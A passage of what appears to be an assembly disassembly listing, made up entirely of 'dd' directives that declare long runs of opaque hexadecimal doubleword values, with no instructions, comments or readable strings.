		dd 7DE9002Bh, 0DC7047C1h, 7CF22105h, 1980564Ch,	12BB9DAEh
		dd 0BDF55B52h, 8C1CACB0h, 603CFF00h, 6AACBEC5h,	19D648FDh
		dd 0FC270122h, 7060DB61h, 0BA2DB4A3h, 0D9D27336h, 2F31818h
		dd 231D4676h, 0D85CFE8Bh, 2FAC4451h, 6C72318h, 1151E9D9h
		dd 0E252EDB7h, 0ED59462Bh, 0C436C00h, 355C17Bh,	0D4DC152Ah
		dd 1BA8A370h, 722576F7h, 0D7F9793Ch, 8382F597h,	850F0213h
		dd 64977B5Ah, 0FA6A032Dh, 65CD4CE4h, 2F5FE1A1h,	0E9EEAA28h
		dd 0A0B1A73Bh, 62FC604Ch, 274D8C52h, 0DC615903h, 0C0481DB2h
		dd 0DA140905h, 20B4E9Ah, 0FA455EC0h, 0B916155h,	5E03A262h
		dd 0AD51EB07h, 0A55A100h, 24DD021h, 9F1974F0h, 9C5EEBC6h
		dd 0A1D38160h, 95D7987Ah, 6660DA9Ah, 0BA973431h, 8D73607Eh
		dd 502C440Dh, 544B9A97h, 91702501h, 25D0C123h, 5569985Ch
		dd 6ADB5BBAh, 0D924150h, 518C821h, 0E0E437B9h, 2118962h
		dd 80CD1A7Fh, 0CE555DCFh, 0D4A99E51h, 0DDB16909h, 0A54C793Eh
		dd 4996E1F0h, 3A2CF969h, 0A974C000h, 0DFCD6E37h, 4DF30997h
		dd 2A69C0BCh, 304E6F31h, 0F8258CF3h, 6BFCF1C1h,	6A6FB59Dh
		dd 0ECDE2EA5h, 954AD227h, 3353E09Ah, 2B7E670h, 4C287372h
		dd 9DD131D1h, 3FCBF92Fh, 0E778DD8Eh, 27168F80h,	66078A3Bh
		dd 2FF63C35h, 40D48792h, 1236DF3Eh, 0BD6A5FBCh,	0E6BC9Dh
		dd 0FC199376h, 0F8ABC20Ch, 64F64D97h, 0AF386018h, 87EA2409h
		dd 2AA50BA1h, 15E4E7CDh, 0D2DB4E61h, 8501BD48h,	0D12F4D2Dh
		dd 94BB4064h, 951689D6h, 7CB82299h, 0A896E9B4h,	0FA700495h
		dd 81B593D2h, 6218D34h,	103D25E0h, 4271485Ch, 67228015h
		dd 0B5268909h, 5097478Dh, 2005EB22h, 0F9193FBFh, 9A89655Ch
		dd 707E53EBh, 419FE0E6h, 0F22A10DCh, 73EB82Dh, 3228C903h
		dd 2542E1A7h, 4D167B9Ah, 45E3EF12h, 256FED4Bh, 81ACBDA4h
		dd 1F889FFBh, 1D352F6Eh, 605209EAh, 614B8846h, 7A2704CAh
		dd 0C9D84AD3h, 7F0E755Ah, 0A4FF0BF1h, 8B5F6BD8h, 0D5FD622Fh
		dd 1691ADB5h, 1330D581h, 0E9016DC6h, 1F4D6F0h, 0CCDEE026h
		dd 353E1EF9h, 3F2C2EBBh, 928DF431h, 0B5A4B0C5h,	50737B62h
		dd 6C2C9871h, 0B720692Fh, 0DAB70FC1h, 0B3389897h, 0A07392FDh
		dd 9122E880h, 3B02A76Ch, 945F6AFEh, 0E5F95A5Eh,	46F63F0Eh
		dd 0ED14DF0h, 10ED9C58h, 9A611419h, 6F0A83B2h, 0C8F0FBF6h
		dd 0E2F45AE4h, 1A9DA414h, 2DD91681h, 0B89402B8h, 60224078h
		dd 0C18A5750h, 177EF09Fh, 160D2ACAh, 78DAC823h,	4509F00Ah
		dd 0EDA5896Bh, 4787C1B0h, 0BC8A296Ah, 0F7E50437h, 0CDD1BD89h
		dd 0E06B61CEh, 734BDC68h, 0B76CB9Dh, 0C941C0A2h, 0DB8C1511h
		dd 0B23000CEh, 62A14A4Dh, 0B3397DD3h, 0D2AD4AFAh, 8C1DACh
		dd 6E09FB5Eh, 8A1FC4EFh, 90FB22Ch, 0EE5AD2Fh, 5225CB32h
		dd 38290990h, 0DB93B81Eh, 0DC9DDE47h, 641ED10h,	2B4735Fh
		dd 5BCC3914h, 37FDD1FFh, 95D42F68h, 0E0C76302h,	0A90D43A9h
		dd 282F366Eh, 578A9E06h, 8B1D5846h, 44EF6ADAh, 228C3B15h
		dd 0C868BE80h, 2467EA69h, 3A555104h, 0C2AAE2BFh, 60D96057h
		dd 8EB1803Ah, 414DD3F2h, 5B723766h, 74A5086Eh, 0E7902588h
		dd 0EC00DF50h, 25AEA67Ch, 0EAA9BD3Eh, 27510466h, 6384BF0Ch
		dd 95065C5Bh, 20718B7Fh
		dd 33166CBh, 747C90CFh,	0A6FC4E26h, 301AB24Dh, 65051398h
		dd 0BCF6CBEAh, 0F4F83D84h, 0BE253A5Dh, 0BC13F5C7h, 0ECED0617h
		dd 0BB0415BCh, 0D2E9FB1h, 7C174EB8h, 0A6C80159h, 2F738BC8h
		dd 0FCC10934h, 900023D5h, 203EABBh, 53506CD0h, 25C2CC5Bh
		dd 0BB5B2955h, 26C98D84h, 0F3AA202Dh, 0BA9D334Bh, 895FDA2Fh
		dd 0EA505CE9h, 34190B95h, 74691D5Eh, 0F702D445h, 835F6BBCh
		dd 0ADFC8269h, 0D50BE0BDh, 41EFB72Ah, 0E7BAF749h, 55002159h
		dd 213FEDBAh, 0EE3197F3h, 0B02393E7h, 20948AEh,	4225625h
		dd 242D3185h, 1A41C604h, 0C7FB32AFh, 91813628h,	0F5395FA1h
		dd 97B60FCCh, 84ACA221h, 561343BAh, 89314E32h, 0BF94C85Fh
		dd 0C70097DEh, 24799509h, 90FAE695h, 0C342508h,	12EE8C1h
		dd 86EC82Bh, 50181339h,	0A01F05B6h, 0B5E9D12Ch,	512CECFBh
		dd 5F31551Ah, 8E07C206h, 0C520BD20h, 8915DD42h,	0F634255Fh
		dd 4B59BD10h, 11B98C04h, 0F50F828Ah, 39E90301h,	0B1A01762h
		dd 7FCEF51Ch, 0C5B5D8B2h, 9656271Bh, 891DD908h,	23D7B531h
		dd 41DE8AE3h, 8E9C6066h, 1B792DB9h, 9F96342h, 0EC266A5Ch
		dd 7E8F00DEh, 98C03C5Fh, 199730BFh, 0BBE4538Fh,	4CFB0797h
		dd 0B9FAB95Bh, 0FAD0BF53h, 0C31C507Eh, 89344B05h, 0AF9B2A8Ch
		dd 96A0BB8Fh, 0CB81FC0Ch, 0DA593A0Eh, 9CBDF317h, 3A103BB8h
		dd 11E4225h, 1230D08Dh,	5AACC02Bh, 0E4082780h, 0DB00339Ah
		dd 5D5E71F3h, 0F485AF64h, 1CBB096Ah, 307CBAC8h,	1615467Eh
		dd 5EF8E167h, 0F65A8A39h, 5CE6D36Bh, 0F4648A0h,	4C401206h
		dd 5C6860E9h, 79C000D8h, 0C2BAA86Fh, 0EB6D1900h, 8EB5E6FCh
		dd 44E7B2Eh, 76508D28h,	4FDFB961h, 0E4BC0FF9h, 9D090705h
		dd 0B7BC103Dh, 0A934B9B4h, 529D2A38h, 24DAE3DEh, 3012D829h
		dd 29EDEABCh, 1D9A899h,	4D5EE187h, 2160F89Eh, 0F8C12AF8h
		dd 0F6376BF2h, 11B58BA0h, 0F0C7F30Bh, 829AFD8Eh, 4F51FB56h
		dd 95618A5h, 11C46D6h, 30F667DCh, 3FE4CD8Ah, 4590B827h
		dd 0D3D48105h, 0FA8BD701h, 22CEE63Ah, 1F21E00Ah, 0B976976Eh
		dd 0DD1CA80h, 96B7E1FFh, 6EE91497h, 82CA5D01h, 0C4EF4533h
		dd 0A1D6AC98h, 0B72A0504h, 0C0E3A2CAh, 97FC62C6h, 0A145CF14h
		dd 0AD77E82h, 0B75D60CDh, 108707F0h, 12A9EAB9h,	2DEEE11Fh
		dd 9A7B894h, 8D313F0Ch,	58412977h, 81B9F1h, 0A3AA0AF4h
		dd 0CF00FAD7h, 56BFCE4Ch, 4B1BE83Eh, 0AEC99258h, 0B29486F8h
		dd 8CF22EDCh, 9F370BB9h, 46D67C56h, 0DB8D1D1Bh,	962D1540h
		dd 9804B3Bh, 26B77AEFh,	40701557h, 0FD125AC5h, 6FECE24h
		dd 15B98516h, 2CDE24Bh,	81DD5202h, 0E9ADC0BFh, 64DD8210h
		dd 5D009831h, 6A251459h, 457841FBh, 21BD382Bh, 922AA3CBh
		dd 9434BB30h, 70650051h, 61EF31AAh, 3300B364h, 0FA566302h
		dd 973CCA78h, 6F5A5AAEh, 2340A07Ch, 7B769Eh, 0BFC54373h
		dd 0A46EDCC7h, 50599912h, 0A95B16EBh, 1F8928C9h, 0A10F44h
		dd 0A97D4192h, 0CE424F6Eh, 0FA981503h, 176A242Ah, 0AD585F75h
		dd 9DEEB8E4h, 1C590F5Bh, 12008618h, 2B5DCF71h, 0A1592911h
		dd 55D63DADh, 8B05CCCEh, 225E9DEh, 0BBC4C09Eh, 0B40C87D5h
		dd 0D6BF0001h, 3148CD92h, 56E5360h, 0D2442E30h,	0C3D2F195h
		dd 0FEB25761h, 865C58E2h, 0EABD29E3h, 0DF96571Ch, 4C58DEB3h
		dd 0FAA20286h, 0FCA3C9ECh, 7BD2BA57h, 0F149501Eh, 0F98F0609h
		dd 0D4B75D89h, 99843280h, 26DE7079h, 0C119D7DCh, 6A49B529h
		dd 5E462EE4h, 8055DB04h, 95D0D9A2h, 0F18D05DBh,	0F0867782h
		dd 92970481h, 595136h, 36E4548Ah, 8B9705C9h, 2566732Ah
		dd 0B68EDCA4h, 73962D24h, 6B167002h, 6033F91Dh,	0D52663C2h
		dd 512B40FAh, 0EEE59502h, 7158FEA3h, 88E01D60h,	0A90F8BF6h
		dd 3706AC44h, 96B6AA8Fh, 3EDE4CC4h, 50FEB0B7h, 2799B9B3h
		dd 0E6DABB01h, 85FB13F6h, 198C8E64h, 1468807h, 0D08C8002h
		dd 0FF5FFBCEh, 0DCE94BCDh, 126424CDh, 4C61F3B5h, 0F21C1735h
		dd 0B8D1B2B1h, 93F8ACBCh, 8E8B786Ah, 4E39A431h,	2F752606h
		dd 4E3602F5h, 4056602Fh, 0A04A0310h, 46BD2F06h,	0D476BE20h
		dd 1DE3D101h, 3515DD7Eh, 0F9B9C53Bh, 0A59D82ECh, 69ED7523h
		dd 5BD63DA6h, 0AC7484DFh, 7630A323h, 0A6895A29h, 3DE91307h
		dd 0C0C0B4FDh, 0BED3F585h, 64089225h, 0AD7B35h,	6112566Bh
		dd 8151C5B1h, 19FBC301h, 5B5F2C80h, 0FB36F63Ah,	80DEDD2Fh
		dd 9A885569h, 26D909E4h, 0B171D45Eh, 44AB63A8h,	0CFA5FC01h
		dd 3D149D94h, 1633448Ch, 0BD218DBDh, 8C1BBCF2h,	0C7B7211Fh
		dd 89D862C0h, 0B5D98ACFh, 0B59DECEEh, 5DDE00D5h, 0CA1999E4h
		dd 0E2AA830Bh, 818D041Dh, 98D0A4ABh, 67D6EF97h,	0A2098429h
		dd 0A937007Ah, 513BA480h, 594B00A2h, 3EBAEC1Dh,	90BF40E4h
		dd 3A2E2841h, 0ED071AC0h, 1B6743B5h, 2365E102h,	6BAF5B04h
		dd 1823F7h, 0E4A52A05h,	46BF5121h, 0F05B5A16h, 50E65E18h
		dd 63A63AEDh, 77655EE0h, 0C03C1EE8h, 0BB66842Ah, 40A8A222h
		dd 78711125h, 74106B6Fh, 399D5033h, 52841C42h, 0E2C9FE23h
		dd 0C59AC17Fh, 17A73A2Fh, 5B254DA0h, 108ACC48h,	9051D2Dh
		dd 0BA1C9195h, 0C5833F74h, 7EB4BACFh, 86CD6E1Ah, 0D7BC20Bh
		dd 0D8181A59h, 49038D70h, 808546AEh, 0C283B1DBh, 37E6F3Fh
		dd 8C30A825h, 0AC63EFE0h, 0EAC7147Bh, 0DF12F8D7h, 42BFF195h
		dd 0A6A9F935h, 91793557h, 0D4ED811Bh, 0ABC09F03h, 0CCA94B58h
		dd 0BD2A09C5h, 6A4AB695h, 0E4C0FBDBh, 0A0DE6CABh, 0E76A7E07h
		dd 851101D5h, 8A6E0479h, 24CB02B0h, 324D079Ah, 8180E6D9h
		dd 62EDAAE7h, 30965F3Ah, 40B750B3h, 19C47F5h, 3B0E485Bh
		dd 0D8AA2165h, 719D9DAEh, 92A4A86h, 3E7921F5h, 822522C4h
		dd 0C1429681h, 0A21B90D5h, 6B1100DDh, 6E2A6412h, 0C702044Ah
		dd 69CF5DCBh, 743A5557h, 46D41E5Ch, 52FB0417h, 98AB2C7Ch
		dd 925BDABh, 0E44FED16h, 0A8B76016h, 2DBFA1D2h,	352EBB35h
		dd 84C051Bh, 0D337ACE2h, 0ACC4DA1Fh, 20BC5892h,	0D92B47A2h
		dd 36E30081h, 10E141CEh, 67C67312h, 0BF0303F3h,	4C661FB5h
		dd 0B7550BEFh, 0CD5E80B9h, 16C959CFh, 0A86AE900h, 21B5292Fh
		dd 2CE79513h, 33DDF4B1h, 2E24E901h, 156EED17h, 6F5CC805h
		dd 0BD21F0F5h, 9DF156Fh, 0C29DEDC1h, 0BA57AF9Dh, 6C326D43h
		dd 0EB315C14h, 2BD5EECDh, 0AFA77Ah, 3BAA72ECh, 111A852Fh
		dd 4BCE6CBBh, 1029308Ch, 921DE99Dh, 10DB0AECh, 9322AA17h
		dd 99AA44AFh, 93F0B810h, 4F8797FCh, 428A20A6h, 50036F7Bh
		dd 8D2FBB51h, 5E5F9BE2h, 1187F079h, 0E1667465h,	7A5E2DFCh
		dd 239C0054h, 0A252B9F3h, 1464A4Eh, 6D9D2BA7h, 0B8606E0Eh
		dd 271A8445h, 0E17495A4h, 2F85BBE0h, 5B0834DFh,	0A5238188h
		dd 0C09C2B2Eh, 8A384BB3h, 0ADE3A0C4h, 0DD1E01F6h, 9D971BF5h
		dd 804A389Bh, 63D40DA7h, 0FF371940h, 2EF8D2D1h,	88898528h
		dd 1512EB80h, 0F6EC026Ah, 42E87F80h, 667F9821h,	7905FF00h
		dd 0B3704494h, 0EDE34A1Fh, 0BF900159h, 2BF3FC36h, 6A54B13Ah
		dd 0A3C0ACDBh, 0D7B4BE1Dh, 0D9889525h, 0A62E00FBh, 852B41B8h
		dd 92080E3Fh, 71E78743h, 81D19A4Bh, 60021598h, 2125086Fh
		dd 0C0BF0F01h, 5CD6E961h, 932C7070h, 95D88B80h,	0D8000937h
		dd 893BB3CCh, 16994AB5h, 206BABEEh, 0FC8E644Eh,	0FD15C0F4h
		dd 1211E7BBh, 179050A9h, 201DEEA4h, 70F87BA7h, 35001013h
		dd 8A609246h, 97FB8BF8h
		dd 0BEBDA91Ah, 3CB69000h, 28910249h, 4AC05C6Ch,	0A1CAB8F8h
		dd 0F0071C6Dh, 45B8F3Bh, 59AB5B9Dh, 25D71815h, 0B189F9CEh
		dd 0FF799D5Ah, 14A60497h, 9A87ABEh, 7333F7CEh, 1F21196h
		dd 0DE5444BFh, 0E06AB004h, 0E427F92Fh, 0CDF4471h, 3A8B8D25h
		dd 0FE00E73Eh, 0CF2DC435h, 0FFBD0153h, 975B8274h, 40C5A324h
		dd 39C8EF81h, 81764B11h, 3E06BA9Eh, 95C18D98h, 9209BCEh
		dd 9D819502h, 2A0EDB80h, 0FF0015FDh, 2B1F0A2Ah,	4F0CBFC8h
		dd 260DB001h, 0D18B0FD8h, 1445CBBBh, 8043AC3Ah,	0AA52DF81h
		dd 58B7F8F3h, 8D11E74Ch, 0BDE10416h, 9DB81DAEh,	8BA0C84Bh
		dd 1E040317h, 9A9390Eh,	0AC555C55h, 2CE002F7h, 9A5C6B88h
		dd 4429B550h, 8B8A4004h, 0A59FD4E9h, 0C0AD1A55h, 97D7694Eh
		dd 14269C11h, 9E588DA8h, 1407F910h, 301DA583h, 0E2F33CFEh
		dd 9589287Ch, 85D4ED68h, 0A114972Bh, 7702422Ch,	11F59D84h
		dd 0D81532AEh, 77377732h, 0B098BB81h, 7CDB9CEh,	0EC68005h
		dd 0E0CC26F2h, 0E9DBD4FCh, 0ED4FEB33h, 527C81B1h, 54E4D087h
		dd 0E28A02EFh, 8111533Dh, 6640F654h, 454AEEBBh,	4AF23CBAh
		dd 14C81FDFh, 8DFA1FC5h, 574730A0h, 0B20ABF05h,	99095B3Bh
		dd 950D70DBh, 0A340A46Fh, 73075FCFh, 0DCF11269h, 39801D0h
		dd 6B7358C7h, 1BC832DAh, 0F23813C1h, 66B5C86Eh,	9D19BF16h
		dd 0A6D32DBDh, 85EA024h, 0CBD602C5h, 55E1EC52h,	352029D8h
		dd 8A614B15h, 7288D33Fh, 570D0050h, 1ACF3866h, 311786FDh
		dd 0EC090EB3h, 51F115h,	0D691AC1Bh, 0BB00EEBFh,	1C7007D0h
		dd 257B356Fh, 0B8548B88h, 5BDD9D19h, 52D8043Bh,	0A222B834h
		dd 85092247h, 0B86C2777h, 64476F0Bh, 0EA44C58Bh, 13E9C604h
		dd 0CE3C77AEh, 9272E1EBh, 0ED2898EBh, 4BC3807Dh, 2F1A8A3Ch
		dd 0CD690993h, 0D5F5C051h, 14973E57h, 5982672Eh, 0DB59D709h
		dd 45DF9C55h, 7BD62139h, 60579004h, 78E011A6h, 0E0002CFDh
		dd 9161F2E4h, 9D2995B1h, 1E56D292h, 0F749BD2Eh,	6560132h
		dd 70EDD327h, 24975A85h, 0B934930Fh, 8DA819h, 803399EEh
		dd 0EB3EABCEh, 5E6BF9BEh, 5C3D040Ch, 0D7F0AD70h, 7D801A9Ah
		dd 6BA23167h, 85D31550h, 853A0D41h, 8B7A8CAh, 267B53BBh
		dd 0EE0BAFA8h, 90969959h, 0A0E0C1F6h, 9C7CBB43h, 90595B27h
		dd 0AF3F28h, 0AED53236h, 20F3DCDAh, 6E136B0Eh, 66AD0991h
		dd 243C94BCh, 0CA05179Fh, 82C85BCDh, 48A800EDh,	0E22E1A16h
		dd 8B3C64F9h, 0BABB81B3h, 9B58DD93h, 0EC22212Eh, 520AC88Dh
		dd 46141501h, 0EFD4A993h, 3845D3E4h, 0E525995Dh, 78AF83D6h
		dd 61F12575h, 0F8EEB052h, 0E0B30CC5h, 32EE9817h, 73405654h
		dd 5F7AE9EBh, 49235281h, 26410D0Fh, 0F7EA3FEFh,	0F4BF82BBh
		dd 0A89B5A08h, 0E0C3A6ACh, 4E9D328Eh, 89CBADC8h, 9FFB58DAh
		dd 0BED8C9FBh, 3BD617B5h, 1FB088Bh, 4D330725h, 90412778h
		dd 96720D1h, 95611540h,	4DF5F49Ah, 0B8E8E430h, 0D6E74E0Ah
		dd 0C11BCFB0h, 0C7267500h, 9F17F40Dh, 9AFA4B8Bh, 0C119C82Bh
		dd 2EE858B4h, 0DF8B9681h, 0B402E66Ah, 0A2AF5634h, 6F58B84h
		dd 4B59F94Ch, 0FFEB0989h, 48A430D3h, 6278D6h, 0EBC065E1h
		dd 0BB02BD81h, 0FABA53Eh, 56B50135h, 0C44AF1F8h, 27E16F40h
		dd 307D1049h, 777100AAh, 4C873EAFh, 80037C06h, 4B3BBF96h
		dd 0B9509B16h, 0BD600BB3h, 0F19126Fh, 5001E301h, 1D4E5567h
		dd 814B158Eh, 6E5650DDh, 48DA19D8h, 8692D25Bh, 0D950161Ch
		dd 0D216B75Dh, 95E98D58h, 770A3EFDh, 0FA13D053h, 0F1852213h
		dd 278089DBh, 38E79715h, 69200090h, 6E539E04h, 8972D7A0h
		dd 5B9D13B1h, 181659D2h, 0DEE7001Dh, 0C29D39BFh, 0C2B46102h
		dd 965905DCh, 0AE17FA4Fh, 0F05DD523h, 1FF290Fh,	1325D5F3h
		dd 3FF67260h, 955B4FCCh, 0FFBEED96h, 7F500E51h,	5AB98BDCh
		dd 215FE65Ch, 76A5D7D8h, 7800DC7Ch, 0ED65AC4Fh,	95B4A270h
		dd 0AC1D5904h, 57DEE2AAh, 606EE4CFh, 0C03821E2h, 89C5A5C4h
		dd 3D5503B0h, 97602FC6h, 9C1D172Bh, 9D4D58B7h, 0F46CBD15h
		dd 0B060A74Ah, 12EAF33Eh, 0B6CBB6E9h, 3019B2DDh, 390B67F5h
		dd 9AFF64ADh, 8783FF67h, 0F1D0A44Fh, 0B00E397h,	0FCF5373h
		dd 2F89C905h, 6384119Dh, 0ACEFAD5Bh, 0F17C8C1Ah, 3CF64B01h
		dd 0F98A2909h, 0AFCB742Bh, 600086Ah, 75F0340Ah,	0FB12F88Fh
		dd 28A95013h, 0FF7D5DECh, 0C7DEEB04h, 4BF5423h,	0EBD6BD18h
		dd 57EEA19Dh, 535B7A3Ah, 2854F50h, 21CCA67Ah, 0DB02C782h
		dd 89B6B261h, 4F97A55h,	5B51F860h, 0ACE0AD61h, 0E3018C1Ah
		dd 64FAEA6Ah, 98604692h, 0FC2C40A5h, 0BFDE9895h, 0C0ED1633h
		dd 0AC96B96Ch, 354E8C14h, 9B0E53E2h, 0DEF70C9h,	0F1731160h
		dd 2312D188h, 0DCB189D6h, 76CFCC5Bh, 0DE3EFA67h, 0ABADAE44h
		dd 42D541C8h, 109B9203h, 0E8ACDC84h, 73F82D09h,	27185A75h
		dd 3AD2898Ch, 0F925F0B6h, 0BD10B86Ch, 50120129h, 2820CC60h
		dd 0A49D7600h, 68DD2346h, 19F900E1h, 0A0B5B86Ah, 0BA0026EFh
		dd 55263CFh, 5B8A605Bh,	1376C8C1h, 33A4B800h, 0BD73A3Dh
		dd 237C0717h, 1269493h,	6EB7B328h, 4A0B5988h, 5D0AAE9Dh
		dd 0ECA158FFh, 0FFA1780h, 755B386h, 0C056F954h,	894E9232h
		dd 0DE6BEC56h, 0DC02DCCFh, 97738FF6h, 51075C25h, 8D29101Eh
		dd 972D5249h, 4A21A34Fh, 0BE0E5BF3h, 7C6AA95Ah,	0ACFC1270h
		dd 0B71AAE9h, 0AD57EA79h, 77D0E72Bh, 0C635AC25h, 8D31080Ch
		dd 0D4520241h, 0B7171266h, 3B143EEh, 862C5B45h,	0AC889082h
		dd 735C048Ch, 0AC8F0452h, 2910A2F1h, 712667Eh, 0F9C9ECADh
		dd 9511B457h, 180B8637h, 45EB05A6h, 9517B7E4h, 807F2B78h
		dd 4AAA14Dh, 0C18BB93Dh, 4BE6EAFh, 85BD42ACh, 0D9FF04AEh
		dd 37CBEA2Eh, 9446A4Bh,	56A89C9Ah, 89FA03F4h, 0C75AC9BDh
		dd 327F67A1h, 8F715903h, 6236D427h, 0E85F6115h,	18CFF37Ah
		dd 904722BDh, 4B979D33h, 0ABE9C514h, 9A56B3BDh,	7B038569h
		dd 0B90AA294h, 9DF8DBB7h, 0C92C4AEDh, 0C0B21BE9h, 8360CA64h
		dd 18904C78h, 0CA433C0h, 0F600ACEAh, 0F19AF2DFh, 3E9675B1h
		dd 1101EB13h, 0DA8A505Ah, 0F0147690h, 7B134C62h, 0A8870B79h
		dd 0AB788BF5h, 5159B7h,	5DC0E7AFh, 82016DA6h, 39468A1Bh
		dd 6E696A5Fh, 730557BCh, 13ACDDFFh, 8009F2E8h, 1671F5E3h
		dd 0CEF8180h, 7B500A6Bh, 1DCD2F29h, 7B5A3B56h, 77105077h
		dd 0F72C12FCh, 0FB052CE7h, 266BD1FFh, 3B8C801h,	6E106163h
		dd 95FBFF20h, 0C38B00D4h, 3C2F452h, 6709242Dh, 0D334B14Eh
		dd 0FBCE34C4h, 715BF109h, 0BBA84453h, 36C00ADEh, 0EB22C6F4h
		dd 0F50BDB39h, 26A1E12h, 0EEE0E4F6h, 5F25C523h,	8231D950h
		dd 120CBABBh, 0EDA5515Eh, 9F78C052h, 47023E6Fh,	0AAD27B67h
		dd 31E8689Bh, 2905259Dh, 6268F7D9h, 0FF4027Eh, 91E9D850h
		dd 9E70725Ch, 0B7D782A2h, 7AF00033h, 336C8E63h,	8907854Bh
		dd 300202BFh, 0D14D5743h, 90AC41C4h, 0BC365180h, 280107B8h
		dd 40023EB0h, 0F62AE75Ch, 5D30B437h, 25C09650h,	25551672h
		dd 7EB907Fh, 6713B3EFh,	31CF7060h, 4ABAB1B5h, 848D614Bh
		dd 0F0BDA66Fh, 71C2C81Bh, 7E31978Fh, 7AD4AF01h,	9D0E9ACAh
		dd 50AD485Bh, 6A2940A5h, 802068FBh, 9F875774h, 36F803A4h
		dd 0FBEFAB85h, 31B94811h, 12F5B509h, 2B40F56Fh,	4847FBBh
		dd 0E7802194h, 847CB9DFh, 0F050113h, 1831A28Ch,	8914B0D8h
		dd 0B9778A0Ch, 57FE85C0h
		dd 264D2618h, 75909784h, 0D7E2BEC7h, 177EF02h, 5728F19Dh
		dd 15D43119h, 0B41C0191h, 9A8D102Eh, 2B4FB54Ah,	65B39321h
		dd 25801170h, 89C2FCF7h, 1609AD4h, 95234995h, 48B52CC4h
		dd 41EEF3F3h, 0C5BBF169h, 0C25254C5h, 44DFE18Fh, 21BD207Bh
		dd 2F10E096h, 0EB87C44Ah, 248D3604h, 0FF1F34AEh, 2DBFE68Ch
		dd 8FF30C60h, 20A5BD04h, 292932AEh, 0E2AF6024h,	5A53176Ch
		dd 270508FAh, 0DEE96109h, 0E82420Ah, 33CC5725h,	0EE870180h
		dd 3A14A9D3h, 74A82E5Fh, 39DFF898h, 0A788A74Bh,	0A5CA8B1Ch
		dd 8BFE1482h, 54E62D5h,	0C008537Dh, 0E65B92F9h,	0BE5099Dh
		dd 0DECCFC0Ah, 4AD4EE04h, 13BF0722h, 6AE0B02Ch,	7864FB9Fh
		dd 0DD25DED3h, 2D9C635h, 911EA6BBh, 0D05FB977h,	783DB356h
		dd 0BC04D393h, 40CF3EA7h, 3913B9A2h, 89D0001Fh,	77A38A66h
		dd 6DBB2104h, 0EEB9D085h, 0FED8E29h, 0B6321EB3h, 5503E2A3h
		dd 72E03AEFh, 1799378Ah, 0A393EB3Ah, 82084B43h,	2F02B15h
		dd 240DB509h, 0C54CEC55h, 0AA08952Eh, 815F6DDBh, 0A8F9BD54h
		dd 7625B757h, 7F0FE4E8h, 0F8CD4F01h, 78D84ADh, 0E80575AEh
		dd 0CDCC4AC1h, 2592C989h, 9B76E656h, 2DE058F1h,	5D83F300h
		dd 1B4893B7h, 0BCB313F8h, 0A85D1623h, 2065F2BBh, 7AD9D0Bh
		dd 0DC99948Eh, 255F1120h, 9CCE33EDh, 2973AB2h, 0D5E1FFBBh
		dd 19005EB7h, 0AECBA2D1h, 0A7840CB0h, 0F85A5776h, 91BF65B5h
		dd 72674878h, 0ECAC164Eh, 2E0480E1h, 9B00277Ah,	694CC070h
		dd 4E2CEA66h, 12890B3Eh, 42C671F3h, 8A4F0414h, 0E67DEC60h
		dd 50591314h, 0D9DC0422h, 5C1AB21h, 162EF0AEh, 0E0D8B6BFh
		dd 73470Ah, 0C415826Fh,	46EF808Dh, 4057995h, 229CA2DFh
		dd 12F72844h, 0A97152CDh, 8C16ACB5h, 8B12DE7Dh,	2474F957h
		dd 0DAD6C4ADh, 4A4780D7h, 0E2685D3h, 50015957h,	0BDAC9492h
		dd 7D9B8FDh, 3FDF1934h,	0E30DF223h, 8812D4FCh, 0FE04E0C5h
		dd 680003A9h, 0C0930848h, 81A1BF1Dh, 7CF2725Ch,	3F9DE0B7h
		dd 1A4CB551h, 0D15F5B2Fh, 40451CC1h, 0CDD5CBDFh, 0A5005154h
		dd 4637899h, 9597B4FEh,	14645A6Dh, 0CFC64B62h, 0B68C3E03h
		dd 0EC831950h, 7EFB77C5h, 326D02A1h, 40E184BAh,	9DCE7C54h
		dd 0E0241571h, 17351E17h, 6060CAEBh, 2EB18844h,	0F79B1C8Fh
		dd 0E45800F6h, 9FFDBDAAh, 6625759Eh, 0FC8A1C72h, 952628C7h
		dd 3D7D318Bh, 0B4138077h, 0B696DE2Ah, 0CE3EEA25h, 0A4B59731h
		dd 59ADD42Fh, 4FDB3B89h, 0FA725DC4h, 2B34FE87h,	0E95AC68Ah
		dd 28D89495h, 2420C27h,	30C2F925h, 53009171h, 7718AA51h
		dd 0C9F200FCh, 8856F1F9h, 0DC1D071Ch, 9616C3AEh, 0BCFC9E13h
		dd 2740D41Eh, 46F46F90h, 0C7BC731Ch, 45F3EFC1h,	6B23BEBDh
		dd 6B934800h, 7F079524h, 0F5A4703Bh, 9447E502h,	465B039Ah
		dd 0BAF5014Ah, 7379DA8Dh, 0EEB63AD9h, 2135BD08h, 7054E182h
		dd 5D18E2D3h, 5D8E50F3h, 0A04D0771h, 0C1CBBBE0h, 328B0005h
		dd 37F00658h, 0CC92207Fh, 0AEAF1E09h, 713DFB2Ch, 0A7993493h
		dd 76B6075Ah, 533018B2h, 0A1D10296h, 0C9B7501Fh, 8DD45B6Ah
		dd 7BEA00DCh, 8DC8977h,	59BDB303h, 87254F89h, 4670AA14h
		dd 5EF2C12h, 9D383432h,	3397D2C6h, 0FC615F02h, 6072DC4Eh
		dd 0FAA4D101h, 545A0F9Eh, 715EA76Ah, 64562C40h,	0EB25A429h
		dd 885A459Ah, 7303FA16h, 2A84D510h, 0B501A18Eh,	8EAAFD44h
		dd 0EF4A2739h, 0B7996018h, 4270E93Fh, 95F4D994h, 0A269695Eh
		dd 75A19E25h, 467C60CDh, 8FC51415h, 4A4D38F2h, 7CFA114Bh
		dd 21855845h, 0A5F98A88h, 0E5129FE1h, 86405C4Fh, 3AC4BF65h
		dd 0F6DF82EEh, 3016B28Bh, 12095976h, 0D05D8D29h, 6653BDDDh
		dd 37CE5Ah, 0ABCCD0BAh,	0DBDC82B4h, 2B9DAA51h, 844AF8FCh
		dd 0EC2FEDB4h, 65B09E7h, 0A3186941h, 8E0784A9h,	1BB9CA0Fh
		dd 6131D719h, 10D42686h, 96193411h, 8021C50h, 0D5CEF5DAh
		dd 5E935414h, 0F160358h, 0FB8B0C73h, 297CE5E9h,	0D82E7543h
		dd 0F9EEADh, 0A1CC26D8h, 10AB984Ch, 89BD2917h, 0B37A52AAh
		dd 15475876h, 929F1F9Dh, 261218FCh, 5B4DE703h, 42806FDAh
		dd 38A53658h, 1897F5FAh, 27852946h, 213A0D6Dh, 1C8D5357h
		dd 8095602Dh, 198D0124h, 895B9531h, 41BECD2Fh, 2F6EE34Ch
